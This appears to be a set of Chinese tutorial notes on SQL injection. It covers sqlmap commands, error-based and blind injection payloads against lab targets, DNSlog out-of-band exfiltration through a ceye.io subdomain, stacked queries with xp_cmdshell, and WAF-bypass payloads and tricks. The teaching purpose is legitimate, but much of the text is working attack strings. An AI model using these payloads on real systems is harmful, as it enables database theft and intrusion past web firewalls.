5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read “/etc/passwd” -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试

sqlmap详细命令:

● –is-dba 当前用户权限(是否为root权限)
● –dbs 所有数据库
● –current-db 网站当前数据库
● –users 所有数据库用户
● –current-user 当前数据库用户
● –random-agent 构造随机user-agent
● –passwords 数据库密码
● –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
● –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
——————————————————————————————————

Options(选项):

● –version 显示程序的版本号并退出
● -h, –help 显示此帮助消息并退出
● -v VERBOSE 详细级别:0-6(默认为1)
● 保存进度继续跑:
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。
● -d DIRECT 直接连接到数据库。
● -u URL, –url=URL 目标URL。
● -l LIST 从Burp或WebScarab代理的日志中解析目标。
● -r REQUESTFILE 从一个文件中载入HTTP请求。
● -g GOOGLEDORK 处理Google dork的结果作为目标URL。
● -c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。
● –data=DATA 通过POST发送的数据字符串
● –cookie=COOKIE HTTP Cookie头
● –cookie-urlencode URL 编码生成的cookie注入
● –drop-set-cookie 忽略响应的Set – Cookie头信息
● –user-agent=AGENT 指定 HTTP User – Agent头
● –random-agent 使用随机选定的HTTP User – Agent头
● –referer=REFERER 指定 HTTP Referer头
● –headers=HEADERS 换行分开,加入其他的HTTP头
● –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
● –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
● –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
● –proxy=PROXY 使用HTTP代理连接到目标URL
● –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
● –ignore-proxy 忽略系统默认的HTTP代理
● –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
● –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
● –retries=RETRIES 连接超时后重新连接的时间(默认3)
● –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
● –safe-url=SAFURL 在测试过程中经常访问的url地址
● –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。
● -b, –banner 检索数据库管理系统的标识
● –current-user 检索数据库管理系统当前用户
● –current-db 检索数据库管理系统当前数据库
● –is-dba 检测DBMS当前用户是否DBA
● –users 枚举数据库管理系统用户
● –passwords 枚举数据库管理系统用户密码哈希
● –privileges 枚举数据库管理系统用户的权限
● –roles 枚举数据库管理系统用户的角色
● –dbs 枚举数据库管理系统数据库
● -D DBname 要进行枚举的指定数据库名
● -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
● –tables 枚举的DBMS数据库中的表
● –columns 枚举DBMS数据库表列
● –dump 转储数据库管理系统的数据库中的表项
● –dump-all 转储所有的DBMS数据库表中的条目
● –search 搜索列(S),表(S)和/或数据库名称(S)
● -C COL 要进行枚举的数据库列
● -U USER 用来进行枚举的数据库用户
● –exclude-sysdbs 枚举表时排除系统数据库
● –start=LIMITSTART 第一个查询输出进入检索
● –stop=LIMITSTOP 最后查询的输出进入检索
● –first=FIRSTCHAR 第一个查询输出字的字符检索
● –last=LASTCHAR 最后查询的输出字字符检索
● –sql-query=QUERY 要执行的SQL语句
● –sql-shell 提示交互式SQL的shell

Optimization(优化):

这些选项可用于优化SqlMap的性能。
● -o 开启所有优化开关
● –predict-output 预测常见的查询输出
● –keep-alive 使用持久的HTTP(S)连接
● –null-connection 从没有实际的HTTP响应体中检索页面长度
● –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
● -p TESTPARAMETER 可测试的参数(S)
● –dbms=DBMS 强制后端的DBMS为此值
● –os=OS 强制后端的DBMS操作系统为这个值
● –prefix=PREFIX 注入payload字符串前缀
● –suffix=SUFFIX 注入payload字符串后缀
● –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
● –level=LEVEL 执行测试的等级(1-5,默认为1)
● –risk=RISK 执行测试的风险(0-3,默认为1)
● –string=STRING 查询时有效时在页面匹配字符串
● –regexp=REGEXP 查询时有效时在页面匹配正则表达式
● –text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。
● –technique=TECH SQL注入技术测试(默认BEUST)
● –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
● –union-cols=UCOLS 定列范围用于测试UNION查询注入
● –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

● -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。
● –common-tables 检查存在共同表
● –common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。
● –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
● –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
● –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。
● –os-cmd=OSCMD 执行操作系统命令
● –os-shell 交互式的操作系统的shell
● –os-pwn 获取一个OOB shell,meterpreter或VNC
● –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
● –os-bof 存储过程缓冲区溢出利用
● –priv-esc 数据库进程用户权限提升
● –msf-path=MSFPATH Metasploit Framework本地的安装路径
● –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。
● –reg-read 读一个Windows注册表项值
● –reg-add 写一个Windows注册表项值数据
● –reg-del 删除Windows注册表键值
● –reg-key=REGKEY Windows注册表键
● –reg-value=REGVAL Windows注册表项值
● –reg-data=REGDATA Windows注册表键值数据
● –reg-type=REGTYPE Windows注册表项值类型
这些选项可以用来设置一些一般的工作参数。
● -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
● -s SESSIONFILE 保存和恢复检索会话文件的所有数据
● –flush-session 刷新当前目标的会话文件
● –fresh-queries 忽略在会话文件中存储的查询结果
● –eta 显示每个输出的预计到达时间
● –update 更新SqlMap
● –save file保存选项到INI配置文件
● –batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

● –beep 发现SQL注入时提醒
● –check-payload IDS对注入payloads的检测测试
● –cleanup SqlMap具体的UDF和表清理DBMS
● –forms 对目标URL的解析和测试形式
● –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
● –page-rank Google dork结果显示网页排名(PR)
● –parse-errors 从响应页面解析数据库管理系统的错误消息
● –replicate 复制转储的数据到一个sqlite3数据库
● –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
● –wizard 给初级用户的简单向导界面

思维导图

案例演示

https://www.yuque.com/samxara/swro13/ag75rb#ZV7rq

涉及资源

MSSQL注入:https://www.cnblogs.com/xishaonian/p/6173644.html
sqlmap超详细笔记+思维导图:https://www.cnblogs.com/bmjoker/p/9326258.html
NoSQL Attack:https://github.com/youngyangyang04/NoSQL Attack
sqlmap: https://github.com/sqlmapproject/sqlmap
墨者刷题笔记:https://blog.csdn.net/qq_39936434/category_9103379.html
PostgreSQL 注入整理:https://blog.csdn.net/hack8/article/details/6427911

16. WEB漏洞-SQL注入之查询方式及报错盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')

delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id 

update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'

order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式


例如:
注册对应插入语句
SQL注入(P12-P19)_第51张图片

16.1 SQL注入—报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断(优先级:2)
regexp,like,ascii,left,ord,mid

基于时间的SQL盲注-延时判断(优先级:3)
if,sleep

基于报错的SQL盲注-报错回显(优先级:1)
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c

1.基于报错的SQL盲注-报错回显

floor

payload:
pikachu  insert
username=x' or(select 1 from(select count(*),concat((select(select (select  concat(0x7e,database(),0x7e))) from  information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei &submit=submit

SQL注入(P12-P19)_第52张图片
SQL注入(P12-P19)_第53张图片
SQL注入(P12-P19)_第54张图片
SQL注入(P12-P19)_第55张图片
updatexml (个人觉得是最方便的)

username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' & password=xiaodi &                 sex=%E7%94%B7 & honenum=13878787788 & email=wuhan & add=hubei & submit=submit

SQL注入(P12-P19)_第56张图片
extractvalue

username=x ' or extractvalue(1,concat(0x7e,database())),0) or '     &                                                password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&
email=wuhan&add=hubei&submit=submit
pikachu updata
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1 
from(select count(*),concat(floor(rand(0)*2),0x7e,   (database()),0x7e)x from
 information_schema.character_sets group by  x)a) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or extractbalue(1,concat(0x7e,database())) or  '&email=wuhan&submit=submit

pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56
+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,                                                         (database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))

SQL注入(P12-P19)_第57张图片

2.基于时间的SQL盲注-延时判断

and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit    0,1),1,1))=101,sleep(3),0)--+

SQL注入(P12-P19)_第58张图片
SQL注入(P12-P19)_第59张图片
SQL注入(P12-P19)_第60张图片

3.基于布尔的SQL盲注-逻辑判断

页面只返回TrueFalse两种类型页面。利用页面返回不同,逐个猜解数据
当前数据库database()的长度大于10,返回true页面,否则FALSE页面:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
count(*)计数   concat()连接字符   floor()重复数据,返回0,1两个值  group by 进行分组 rand(0)避免数据重复造成的错误
猜当前数据库第一个字符
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#
利用二分法,115为fal,114TRUE,数据库第一个字符ASCII为115,即s

SQL注入(P12-P19)_第61张图片

同理修改substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:length(database())
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 这条语句在后台为:
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(后面单引号被#注释掉)
参考:
like 'ro%'     #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]'   #匹配xiaodi及xiaodi...等
if(条件,5,0)    #条件成立返回5反之返回0
sleep(5)     #sQI语句延时执行5秒
mid(a,b,c)     #从位置b开始,截取a字符串的c位
substr(a,b,c)    #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8   #判断数据库database ()名的长度
ord=ascii ascii(x)=97   #判断x的asci i码是否等于97

16.2 演示案例:

https://www.yuque.com/samxara/swro13/xgiz8b#WxeRY

mysql_fetch_array:无回显函数

SQL注入

延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
  • 数据库是security就延时5秒,否则不延迟

  • http://sqli-labs:8600/Less-2/?id=1 and sleep(if(database()= ‘security’,5,0))–+
    SQL注入(P12-P19)_第62张图片

  • 判断数据库位数

  • http://sqli-labs:8600/Less-2/?id=1%20and%20sleep(if(length(database())=8,5,0))–+
    SQL注入(P12-P19)_第63张图片

涉及资源

12种报错注入+万能语句:https://www.jianshu.com/p/bc35f8dd4f7c
Order by排序注入方法小总结:https://www.jianshu.com/p/fcae21926e5c
asp+access注入源码:https://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g 提取码:l9f6

17. SQL注入之二次,加解密,DNS等注入

SQL注入(P12-P19)_第64张图片

17.1 加解密注入

知识点
即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器,eg:www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1 相当于id=1
base64加密结果:MSBhbmQgMT0x
语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x

DNSlog:解决了盲注不能回显数据,效率低的问题

17.2 二次注入

  1. 原理

二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。详细点来讲,就是在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞的。
2. 过程

第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

  1. 过程原理图
    SQL注入(P12-P19)_第65张图片
    4.思路

a. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
b. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
c. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
d. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
e. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

SQL注入(P12-P19)_第66张图片

  • 第一个是原有的,第二个是我们注册的,当我们修改第二个的密码的时候,由于存在‘#,数据库会判断错误,相当于修改了第一个的密码。
    SQL注入(P12-P19)_第67张图片
    在这里插入图片描述

17.3 DNSlog

  1. 原理

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

  1. 利用场景

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

  1. 推荐平台

a. http://www.dnslog.cn
SQL注入(P12-P19)_第68张图片
b. http://ceye.io/(需要注册)

c. http://admin.dnslog.link

  • DNSlog可以解决无回显问题
  • mysql> select * from users where id=1 and if((select load_file(concat(’\\’,(select version()),’.eii0i8.ceye.io\abc’))),1,0);Empty set (21.14 sec)

SQL注入(P12-P19)_第69张图片

SQL注入(P12-P19)_第70张图片

将url和注入语句分开
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload; 
file_get_contents($urls);
echo $urls;
?>

演示案例

https://www.yuque.com/samxara/swro13/gi5fpi#a9GoC

涉及资源

DNSlog:http:/ceye.io/
DnsLog Sql Injection Tool with ceye.io:https://github.com/ADOOO/DnslogSqlinj
Sqlmap注入Base64编码的注入:https://www.bbsmax.com/A/A2dmVVQBze/
使用DNSLOG拯救你的盲打盲注:https://www.freebuf.com/column/184587.html
利用DNS实现SQL注入带外查询(OOB) :https://www.cnblogs.com/renhaoblog/p/12912452.html
DNSlog注入:https://www.pianshen.com/article/9561325277/
https://github.com/bugscanteam/dnslog/(自己搭建dnslog服务器)

18. SQL注入之堆叠及WAF绕过注入

在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。
SQL注入(P12-P19)_第71张图片

18.1/1. 堆叠查询注入

定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实
的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stackedinjection。
原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
SQL注入(P12-P19)_第72张图片

SQL注入(P12-P19)_第73张图片

局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
在这里插入图片描述

各个数据库实例介绍(摘自文章链接)
本节我们从常用数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。

1. Mysql

(1)新建一表
select * from users where id=1;create table test like users;
SQL注入(P12-P19)_第74张图片

执行成功,我们再去看一下是否新建成功表。
SQL注入(P12-P19)_第75张图片

(2)删除上面新建的test表
select * from users where id=1;drop table test;
SQL注入(P12-P19)_第76张图片
SQL注入(P12-P19)_第77张图片

(3)查询数据
select * from users where id=1;select 1,2,3;
在这里插入图片描述

(4)加载文件
select * from users where id=1;select load_file(‘c:/tmpupbbn.php’);
SQL注入(P12-P19)_第78张图片

(4) 修改数据
select * from users where id=1;insert into users(id,username,password) values (‘100’,‘new’,‘new’);

SQL注入(P12-P19)_第79张图片
SQL注入(P12-P19)_第80张图片

2. Sql server

(1)增加数据表
select * from test;create table sc3(ss CHAR(8));
SQL注入(P12-P19)_第81张图片

(2) 删除数据表
select * from test;drop table sc3;
SQL注入(P12-P19)_第82张图片

(4)查询数据
select 1,2,3;select * from test;
SQL注入(P12-P19)_第83张图片

(5)修改数据
select * from test;update test set name=‘test’ where id=3;

SQL注入(P12-P19)_第84张图片

(6)sqlserver中最为重要的存储过程的执行
select * from test where id=1;exec master…xp_cmdshell ‘ipconfig’
SQL注入(P12-P19)_第85张图片

3. Oracle

上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。
在这里插入图片描述

4. Postgresql

(1)新建一个表
select * from user_test;create table user_data(id DATE);

SQL注入(P12-P19)_第86张图片

可以看到user_data表已经建好。
(2)删除上面新建的user_data表
select * from user_test;delete from user_data;
SQL注入(P12-P19)_第87张图片

(3)查询数据
select * from user_test;select 1,2,3;
SQL注入(P12-P19)_第88张图片

(4) 修改数据
select * from user_test;update user_test set name=‘modify’ where name=‘张三’;
SQL注入(P12-P19)_第89张图片

2. phpstudy+safedog安装找不到服务解决

参考链接:https://www.freesion.com/article/15621202542/

3. 市面上常见的waf产品列表分析 wafw00f

工具简介

现在网站为了加强自身安全,通常都会安装各类防火墙。这些防火墙往往会拦截各种扫描 请求,使得测试人员无法正确判断网站相关信息。Kali Linux 提供了一款网站防火墙探测工具 Wafw00f。它可以通过发送正常和带恶意代码的 HTTP 请求,以探测网站是否存在防火墙,并识别防火墙的类型。

WAFW00F 怎么工作

a. 发送正常的 HTTP 请求,然后分析响应,这可以识别出很多 WAF。
b. 如果不成功,它会发送一些(可能是恶意的)HTTP 请求,使用简单的逻辑推断是哪一 个 WAF。
c. 如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击

参数

它可以检测很多 WAF。想要查看它能检测哪些 WAF,以-l 参数执行 WAFW00F

命令:

wafw00f 域名/IP
SQL注入(P12-P19)_第90张图片

4. 部分 bypass sqlinject payload

id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

18.2 WAF及绕过思路

1. WAF

Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。
如图,就是自带的阿里云盾
SQL注入(P12-P19)_第91张图片
宝塔一键化搭建(大部分非法网站都是使用的宝塔)
SQL注入(P12-P19)_第92张图片
安全狗(用的比较多,是因为是免费的)
SQL注入(P12-P19)_第93张图片
不开启全部是因为有些页面会出现误报
资源防护
SQL注入(P12-P19)_第94张图片
SQL注入(P12-P19)_第95张图片
SQL注入(P12-P19)_第96张图片
流量防护
SQL注入(P12-P19)_第97张图片
网站防护

  • 堆叠注入:就是一堆sql语句一起执行,语句中一个 ; 表示语句结束,那多个语句连接到一起执行。
    SQL注入(P12-P19)_第98张图片
    漏洞防护
    SQL注入(P12-P19)_第99张图片
    SQL注入(P12-P19)_第100张图片
    SQL注入(P12-P19)_第101张图片

2. WAF绕过-应用层

大小写/关键字替换
	id=1UnIoN/**/SeLeCT1,user()
	Hex() bin() 等价于 ascii()
	Sleep() 等价于 benchmark()
	Mid() substring() 等价于substr()
	@@user 等价于 User()
	@@Version 等价于 version()

各种编码
	大小写,URL,hex,%0A等

注释使用
	//----+#//+:%00/!/等

再次循环
	union==uunionnion

等价替换
	user()=@@user()and=&or=|ascii=hex等

参数污染
	?id=1&id=2&id=3

编码解码及加密解密
	s->%73->%25%37%33
	hex,unlcode,base64等

更改请求提交方式
	GET POST COOKIE等
	POST->multipart/form-data

中间件HPP(HTTP参数污染)
HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。
**原理:**浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。

HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择:

通过HPP接管账户
当网站开发者不熟悉Web服务器对于多参数时如何选择,将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。

HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:

http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1

在这里插入图片描述
HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果
以参数color=red&color=blue为例
SQL注入(P12-P19)_第102张图片

3. WAF绕过-数据库特性

1、Mysql技巧

SQL注入(P12-P19)_第103张图片

(1)mysql注释符有三种:#、/…/、–…(注意–后面有一个空格,或者为–+)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/!UnIon12345SelEcT/1,user()//数字范围1000-50540
(4)mysql黑魔法
select{xusername}from{x11test.admin};

2、SQLServer技巧

(1)用来注释掉注射后查询的其余部分:
/*C语言风格注释
SQL注释
;00%空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a冒号
id=1union:select1,2from:admin
(4)函数变形:如db_name 空白字符

3、Oracle技巧

(1)注释符:–、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合FUZZ
(SQLI FUZZ字典,SQL注入过滤关键字的Fuzz字典)
就是模糊测试,批量测试
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

3. WAF绕过-逻辑层

1、逻辑问题

(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP
没有防护,直接访问HTTP站点绕过防护。
(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数
输入,从而导致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只
要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向
量时超出了其缓冲区长度就会引发bug,从而实现绕过。
例子1:
?id=1and(select1)=(Select0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA
1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。
例子2:
?a0=0&a1=1&…&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3、白名单

方式一:IP白名单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情
况。
测试方法:修改http的header来bypasswaf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
